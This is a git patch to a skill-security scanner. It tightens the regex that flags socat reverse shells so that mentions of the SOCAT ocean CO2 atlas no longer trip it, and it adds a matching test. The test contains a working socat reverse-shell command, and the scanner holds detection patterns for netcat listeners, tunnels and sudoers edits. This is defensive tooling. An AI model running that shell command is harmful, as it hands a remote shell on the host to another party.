From ab0d4735a7781ea479e25dc71e908b03db6be019 Mon Sep 17 00:00:00 2001 From: teknium1 <127238744+teknium1@users.noreply.github.com> Date: Mon, 14 Sep 2026 21:55:24 -0700 Subject: [PATCH] fix(skills-guard): socat only flags a reverse shell when an address spec follows MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `\bsocat\b` under IGNORECASE matched "SOCAT", the Surface Ocean CO2 Atlas, in every oceanography skill of a 2,110-file research bundle (17 critical findings in one file), burying the bundle's real issues under noise. A real socat relay always names an address type (TCP:/UDP:/OPENSSL:/EXEC:/SYSTEM:/ PTY:/UNIX-…:), so the pattern now requires one on the same line. `nc -l` / `ncat -l` are unchanged. Scanner version bumped to v5 so cached verdicts re-scan. --- tests/tools/test_skills_guard.py | 12 ++++++++++++ tools/skills_guard.py | 7 +++++-- 2 files changed, 17 insertions(+), 2 deletions(-) diff --git a/tests/tools/test_skills_guard.py b/tests/tools/test_skills_guard.py index 35d5d9122d..95ac09e088 100644 --- a/tests/tools/test_skills_guard.py +++ b/tests/tools/test_skills_guard.py @@ -169,6 +169,18 @@ class TestScanFile: assert findings == [] + def test_socat_prose_is_not_a_reverse_shell_but_a_socat_relay_is(self, tmp_path): + prose = tmp_path / "ocean.md" + prose.write_text( + "Load the SOCAT v2023 surface ocean CO2 atlas and merge with the socat cruise index.\n", + encoding="utf-8", + ) + assert not any(fi.pattern_id == "reverse_shell" for fi in scan_file(prose, "ocean.md")) + + shell = tmp_path / "shell.sh" + shell.write_text("socat TCP:10.0.0.5:4444 EXEC:/bin/bash,pty,stderr\n", encoding="utf-8") + assert any(fi.pattern_id == "reverse_shell" for fi in scan_file(shell, "shell.sh")) + def test_detect_gitlab_pat(self, tmp_path): f = tmp_path / "leak.md" # Concatenated so no contiguous token literal exists in this file diff --git a/tools/skills_guard.py b/tools/skills_guard.py index e14ee6a4fd..b9577b2f2a 100644 --- a/tools/skills_guard.py +++ b/tools/skills_guard.py @@ -18,7 +18,7 @@ from pathlib import Path from typing import List, Tuple -SCANNER_VERSION = "skills-guard-v4" +SCANNER_VERSION = "skills-guard-v5" # NVIDIA-verified skills each ship a signed `skill.oms.sig` + governance `skill-card.md`. TRUSTED_REPOS = {"openai/skills", "anthropics/skills", "huggingface/skills", "NVIDIA/skills"} @@ -229,7 +229,10 @@ THREAT_PATTERNS = [ (r'/etc/sudoers|visudo', "sudoers_mod", "critical", "persistence", "modifies sudoers (privilege escalation)"), (r'git\s+config\s+--global\s+', "git_config_global", "medium", "persistence", "modifies global git configuration"), # ── Network: reverse shells and tunnels ── - (r'\bnc\s+-[lp]|ncat\s+-[lp]|\bsocat\b', "reverse_shell", "critical", "network", "potential reverse shell listener"), + # socat needs an address spec (TCP:/EXEC:/…): a bare word match hit "SOCAT", the + # oceanographic CO2 atlas, across dozens of science skills (all patterns are IGNORECASE). + (r'\bnc\s+-[lp]|ncat\s+-[lp]|\bsocat\b[^\n]*\b(?:tcp|udp|openssl|ssl|exec|system|pty|unix)[\w-]*:', + "reverse_shell", "critical", "network", "potential reverse shell listener"), (r'\bngrok\b|\blocaltunnel\b|\bserveo\b|\bcloudflared\b', "tunnel_service", "high", "network", "uses tunneling service for external access"), (r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{2,5}', "hardcoded_ip_port", "medium", "network", "hardcoded IP address with port"),